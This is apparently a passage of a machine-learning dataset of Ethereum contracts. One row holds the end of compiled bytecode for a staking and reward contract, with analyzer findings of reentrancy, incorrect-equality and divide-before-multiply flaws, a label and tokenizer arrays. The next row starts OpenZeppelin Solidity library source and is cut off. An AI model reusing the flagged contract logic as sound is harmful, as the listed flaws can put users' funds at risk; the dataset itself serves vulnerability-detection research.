290519081900360640190fd5b61066a826116f7565b60408051838152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a25050565b6004546001600160a01b03166106b8611758565b6001600160a01b0316146106fd5760405162461bcd60e51b8152600401808060200182810382526021815260200180611e5d6021913960400191505060405180910390fd5b60006107076111e3565b600b55610712610b69565b600a556001600160a01b038116156107595761072d8161048d565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b7812725dd1d243aba0e75fe645cc4873f9e65afe688c928e1f2182106107b05760405162461bcd60e51b8152600401808060200182810382526039815260200180611e036039913960400191505060405180910390fd5b60085442106107d5576007546107cd90839063ffffffff61165b16565b600955610824565b6008546000906107eb904263ffffffff6115b916565b905060006108046009548361160290919063ffffffff16565b60075490915061081e906104f5868463ffffffff61169d16565b60095550505b42600a81905560075461083d919063ffffffff61169d16565b6008556040805183815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a15050565b336108806111e3565b600b5561088b610b69565b600a556001600160a01b038116156108d2576108a68161048d565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b60006108dd3361048d565b90508015610a1c57336000818152600d602052604081205532148061098857506109056112df565b6001600160a01b03166330e412ad336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561095a57600080fd5b505afa15801561096e573d6000803e3d6000fd5b505050506040513d602081101561098457600080fd5b5051155b156109e5576006546109aa906001600160a01b0316338363ffffffff61175c16565b60408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a2610a1c565b60408051828152905133917f3c053e6b7030f90e85c5a23cdadc6806d9e2fc865df1be2a1261580a1ecd1da9919081900360200190a25b5050565b60055460408051635aa6e67560e01b815290516000926001600160a01b031691635aa6e675916004808301926020929190829003018186803b158015610a6557600080fd5b505afa158015610a79573d6000803e3d6000fd5b505050506040513d6020811015610a8f57600080fd5b5051905090565b6000546001600160a01b031681565b6001600160a01b031660009081526002602052604090205490565b610ac8610b9d565b610b19576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6003546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600380546001600160a01b0319169055565b60095481565b6000610b77426008546117ae565b905090565b600c6020526000908152604090205481565b6003546001600160a01b031690565b6003546000906001600160a01b0316610bb4611758565b6001600160a01b031614905090565b601054600160a01b900460ff16610c1a576040805162461bcd60e51b8152602060048201526016602482015275119d5b991cc81b9bdd081e595d081b5a59dc985d195960521b604482015290519081900360640190fd5b610c226117c4565b60008054600f54604080516370a0823160e01b815230600482015290516001600160a01b039384169493610d209316916370a08231916024808301926020929190829003018186803b158015610c7757600080fd5b505afa158015610c8b573d6000803e3d6000fd5b505050506040513d6020811015610ca157600080fd5b5051600f54604080516318160ddd60e01b815290516001600160a01b03909216916318160ddd91600480820192602092909190829003018186803b158015610ce857600080fd5b505afa158015610cfc573d6000803e3d6000fd5b505050506040513d6020811015610d1257600080fd5b50519063ffffffff6115b916565b90506000610d75610d2f6105a6565b604080516370a0823160e01b815230600482015290516001600160a01b038716916370a08231916024808301926020929190829003018186803b158015610ce857600080fd5b600f54604080516370a0823160e01b815233600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015610dc657600080fd5b505afa158015610dda573d6000803e3d6000fd5b505050506040513d6020811015610df057600080fd5b5051905082811115610e335760405162461bcd60e51b815260040180806020018281038252604d815260200180611d90604d913960600191505060405180910390fd5b6000610e49846104f5848663ffffffff61160216565b600f54909150610e6a906001600160a01b031633308563ffffffff61180f16565b610e74338261186f565b6040805183815260208101839052815133927fd083678824038160bef3975359ab29f19c3f0e9bcf9d7ead540a492d4d678b63928290030190a25050505050565b600554604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b158015610f0057600080fd5b505afa158015610f14573d6000803e3d6000fd5b505050506040513d6020811015610f2a57600080fd5b5051610f6e576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b6001600160a01b038116610fc9576040805162461bcd60e51b815260206004820152601e60248201527f6e65772073746f726167652073686f756c646e277420626520656d7074790000604482015290519081900360640190fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031681565b336110036111e3565b600b5561100e610b69565b600a556001600160a01b03811615611055576110298161048d565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b6000821161109b576040805162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015290519081900360640190fd5b6110a36117c4565b6110ac82611918565b60408051838152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a25050565b600a5481565b6010546001600160a01b031633146111355760405162461bcd60e51b8152600401808060200182810382526025815260200180611d6b6025913960400191505060405180910390fd5b6010805460ff60a01b1916600160a01b179055600054604080516370a0823160e01b8152336004820181905291516111e19330926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561119b57600080fd5b505afa1580156111af573d6000803e3d6000fd5b505050506040513d60208110156111c557600080fd5b50516000546001600160a01b031692919063ffffffff61180f16565b565b60006111ed6105a6565b6111fa5750600b546105aa565b610b776112286112086105a6565b6104f5670de0b6b3a76400006104e96009546104e9600a546104d4610b69565b600b549063ffffffff61169d16565b600f546001600160a01b031681565b600b5481565b6010546001600160a01b031681565b61126c61126733610aa5565b6105bd565b6111e1610877565b60085481565b611282610b9d565b6112d3576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6112dc8161197a565b50565b6005546040805163f77c479160e01b815290516000926001600160a01b03169163f77c4791916004808301926020929190829003018186803b158015610a6557600080fd5b6006546001600160a01b031681565b8061133c6111e3565b600b55611347610b69565b600a556001600160a01b0381161561138e576113628161048d565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b600554604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b1580156113d957600080fd5b505afa1580156113ed573d6000803e3d6000fd5b505050506040513d602081101561140357600080fd5b5051611447576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b60006114528361048d565b905080156115b4576001600160a01b0383166000818152600d602052604081205561147c90611a1b565b158061150e575061148b6112df565b6001600160a01b03166330e412ad846040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156114e057600080fd5b505afa1580156114f4573d6000803e3d6000fd5b505050506040513d602081101561150a57600080fd5b5051155b1561157457600654611530906001600160a01b0316848363ffffffff61175c16565b6040805182815290516001600160a01b038516917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a26115b4565b6040805182815290516001600160a01b038516917f3c053e6b7030f90e85c5a23cdadc6806d9e2fc865df1be2a1261580a1ecd1da9919081900360200190a25b505050565b60006115fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a57565b9392505050565b6000826116115750600061050d565b8282028284828161161e57fe5b04146115fb5760405162461bcd60e51b8152600401808060200182810382526021815260200180611e3c6021913960400191505060405180910390fd5b60006115fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611aee565b6000828201838110156115fb576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60015461170a908263ffffffff6115b916565b6001553360009081526002602052604090205461172d908263ffffffff6115b916565b3360008181526002602052604081209290925590546112dc916001600160a01b03909116908361175c565b3390565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526115b4908490611b53565b60008183106117bd57816115fb565b5090919050565b3233146111e157336000818152600e6020526040808220805460ff19166001179055513292917f70da7b97c021a1e9d5c080587a8ecf9eae97ef5f9bc39e1ac9bfc054104e9e0691a3565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052611869908590611b53565b50505050565b816118786111e3565b600b55611883610b69565b600a556001600160a01b038116156118ca5761189e8161048d565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b6118d48383611d0b565b6040805183815290516001600160a01b038516917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a2505050565b60015461192b908263ffffffff61169d16565b6001553360009081526002602052604090205461194e908263ffffffff61169d16565b3360008181526002602052604081209290925590546112dc916001600160a01b0390911690308461180f565b6001600160a01b0381166119bf5760405162461bcd60e51b8152600401808060200182810382526026815260200180611ddd6026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611a4f5750808214155b949350505050565b60008184841115611ae65760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611aab578181015183820152602001611a93565b50505050905090810190601f168015611ad85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183611b3d5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611aab578181015183820152602001611a93565b506000838581611b4957fe5b0495945050505050565b611b65826001600160a01b0316611a1b565b611bb6576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310611bf45780518252601f199092019160209182019101611bd5565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611c56576040519150601f19603f3d011682016040523d82523d6000602084013e611c5b565b606091505b509150915081611cb2576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561186957808060200190516020811015611cce57600080fd5b50516118695760405162461bcd60e51b815260040180806020018281038252602a815260200180611e7e602a913960400191505060405180910390fd5b600154611d1e908263ffffffff61169d16565b6001556001600160a01b038216600090815260026020526040902054611d4a908263ffffffff61169d16565b6001600160a01b039092166000908152600260205260409020919091555056fe73656e646572206e6565647320746f206265206d6967726174696f6e207374726174656779696d706f737369626c6520666f722075736572206c656761637920736861726520746f2068617665206d6f7265207468616e207468652072656d61696e696e67206c65676163792073686172654f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373746865206e6f746966696564207265776172642063616e6e6f7420696e766f6b65206d756c7469706c69636174696f6e206f766572666c6f77536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c6572206973206e6f742072657761726420646973747269627574696f6e5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820e16c52eb7f747fae055b7518b6978dc0e62ad6a5b58aac1dda6d2917726709c864736f6c63430005100032 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
2509,
2546,
16409,
2692,
24087,
2546,
12376,
2509,
2546,
2581,
2509,
4246,
12740,
2094,
2581,
2546,
28756,
27531,
2692,
2546,
12740,
2683,
2094,
17914,
12879,
22022,
1013,
1013,
5371,
1024,
8311,
1013,
5527,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1019,
1012,
2385,
1025,
3206,
5527,
1063,
4769,
2270,
10615,
1025,
4769,
2270,
11486,
1025,
9570,
2953,
1006,
1007,
2270,
1063,
10615,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
16913,
18095,
2069,
3995,
23062,
6651,
1006,
1007,
1063,
5478,
1006,
2003,
3995,
23062,
6651,
1006,
5796,
2290,
1012,
4604,
2121,
1007,
1010,
1000,
2025,
10615,
1000,
1007,
1025,
1035,
1025,
1065,
3853,
2275,
3995,
23062,
6651,
1006,
4769,
1035,
10615,
1007,
2270,
2069,
3995,
23062,
6651,
1063,
5478,
1006,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,430 | 0x9524584e7ae2f34b97eb8bea55907fcaf1abdf6f | // SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
